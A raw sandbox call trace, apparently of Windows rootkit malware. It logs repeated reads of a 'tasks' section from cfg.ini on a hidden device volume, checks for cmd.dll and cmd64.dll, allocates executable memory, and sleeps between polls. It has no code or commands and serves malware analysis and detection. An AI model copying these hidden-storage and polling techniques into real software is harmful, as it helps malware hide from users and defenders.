_snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.020] KeEnterCriticalRegion () [0123.020] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.020] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d95000 [0123.020] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.020] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.020] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.020] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.020] IdePortDispatch () returned 0x103 [0123.020] KeWaitForMutexObject () returned 0x0 [0123.020] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.020] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.020] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.020] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.020] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.020] IdePortDispatch () returned 0x103 [0123.020] KeWaitForMutexObject () returned 0x0 [0123.020] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.020] KeLeaveCriticalRegion () [0123.020] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.021] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.021] KeEnterCriticalRegion () [0123.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.021] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.021] KeLeaveCriticalRegion () [0123.021] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.021] KeEnterCriticalRegion () [0123.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.021] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.021] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbedd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.021] KeLeaveCriticalRegion () [0123.021] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.021] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.021] KeEnterCriticalRegion () [0123.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.021] ExFreePoolWithTag (P=0xfffffa8003bbed10, Tag=0x0) [0123.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.021] KeLeaveCriticalRegion () [0123.021] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.021] ReleaseMutex (hMutex=0xf0) returned 1 [0123.021] Sleep (dwMilliseconds=0x927c0) [0123.035] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.035] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.035] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.035] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.035] KeEnterCriticalRegion () [0123.035] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.035] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.035] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.035] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.035] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.035] IdePortDispatch () returned 0x103 [0123.036] KeWaitForMutexObject () returned 0x0 [0123.036] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.036] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.036] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.036] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.036] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.036] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6200 [0123.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.036] KeLeaveCriticalRegion () [0123.036] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.036] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.036] KeEnterCriticalRegion () [0123.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.036] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.036] KeLeaveCriticalRegion () [0123.036] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.036] KeEnterCriticalRegion () [0123.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.036] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.036] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.036] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.036] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.036] IdePortDispatch () returned 0x103 [0123.036] KeWaitForMutexObject () returned 0x0 [0123.036] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.036] KeLeaveCriticalRegion () [0123.036] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.037] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.037] KeEnterCriticalRegion () [0123.037] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.037] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d9a000 [0123.037] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.037] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.037] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.037] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.037] IdePortDispatch () returned 0x103 [0123.037] KeWaitForMutexObject () returned 0x0 [0123.037] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.037] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.037] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.037] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.037] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.037] IdePortDispatch () returned 0x103 [0123.037] KeWaitForMutexObject () returned 0x0 [0123.037] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.037] KeLeaveCriticalRegion () [0123.037] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.038] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.038] KeEnterCriticalRegion () [0123.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.038] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.038] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.038] KeLeaveCriticalRegion () [0123.038] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.038] KeEnterCriticalRegion () [0123.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.038] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.038] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.038] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.038] KeLeaveCriticalRegion () [0123.038] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.038] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.038] KeEnterCriticalRegion () [0123.038] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.038] ExFreePoolWithTag (P=0xfffffa8003bc6200, Tag=0x0) [0123.038] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.038] KeLeaveCriticalRegion () [0123.038] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.038] ReleaseMutex (hMutex=0xf0) returned 1 [0123.038] Sleep (dwMilliseconds=0x927c0) [0123.042] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.042] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.045] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.045] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.045] KeEnterCriticalRegion () [0123.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.045] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.045] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.045] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.045] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.045] IdePortDispatch () returned 0x103 [0123.045] KeWaitForMutexObject () returned 0x0 [0123.046] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.046] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.046] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.046] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.046] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.046] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6200 [0123.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.046] KeLeaveCriticalRegion () [0123.046] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.046] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.046] KeEnterCriticalRegion () [0123.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.046] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.046] KeLeaveCriticalRegion () [0123.046] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.046] KeEnterCriticalRegion () [0123.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.046] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.046] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.046] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.046] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.046] IdePortDispatch () returned 0x103 [0123.046] KeWaitForMutexObject () returned 0x0 [0123.046] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.046] KeLeaveCriticalRegion () [0123.046] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.046] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.046] KeEnterCriticalRegion () [0123.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.046] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d9d000 [0123.046] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.047] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.047] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.047] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.047] IdePortDispatch () returned 0x103 [0123.047] KeWaitForMutexObject () returned 0x0 [0123.047] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.047] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.047] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.047] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.047] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.047] IdePortDispatch () returned 0x103 [0123.047] KeWaitForMutexObject () returned 0x0 [0123.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.047] KeLeaveCriticalRegion () [0123.047] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.048] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.048] KeEnterCriticalRegion () [0123.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.048] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.048] KeLeaveCriticalRegion () [0123.048] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.048] KeEnterCriticalRegion () [0123.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.048] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.048] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.048] KeLeaveCriticalRegion () [0123.048] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.048] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.048] KeEnterCriticalRegion () [0123.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.048] ExFreePoolWithTag (P=0xfffffa8003bc6200, Tag=0x0) [0123.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.048] KeLeaveCriticalRegion () [0123.048] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.048] ReleaseMutex (hMutex=0xf0) returned 1 [0123.048] Sleep (dwMilliseconds=0x927c0) [0123.058] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.058] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.058] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.058] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.058] KeEnterCriticalRegion () [0123.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.059] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.059] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.059] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.059] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.059] IdePortDispatch () returned 0x103 [0123.059] KeWaitForMutexObject () returned 0x0 [0123.059] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.059] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.059] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.059] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.059] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.059] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6200 [0123.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.059] KeLeaveCriticalRegion () [0123.059] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.059] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.059] KeEnterCriticalRegion () [0123.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.059] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.059] KeLeaveCriticalRegion () [0123.059] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.059] KeEnterCriticalRegion () [0123.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.059] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.059] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.059] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.059] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.059] IdePortDispatch () returned 0x103 [0123.059] KeWaitForMutexObject () returned 0x0 [0123.059] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.060] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.060] KeLeaveCriticalRegion () [0123.060] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.060] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.060] KeEnterCriticalRegion () [0123.060] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.060] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da1000 [0123.060] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.060] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.060] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.060] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.060] IdePortDispatch () returned 0x103 [0123.060] KeWaitForMutexObject () returned 0x0 [0123.060] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.060] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.060] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.060] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.060] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.060] IdePortDispatch () returned 0x103 [0123.060] KeWaitForMutexObject () returned 0x0 [0123.060] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.060] KeLeaveCriticalRegion () [0123.061] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.061] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.061] KeEnterCriticalRegion () [0123.061] 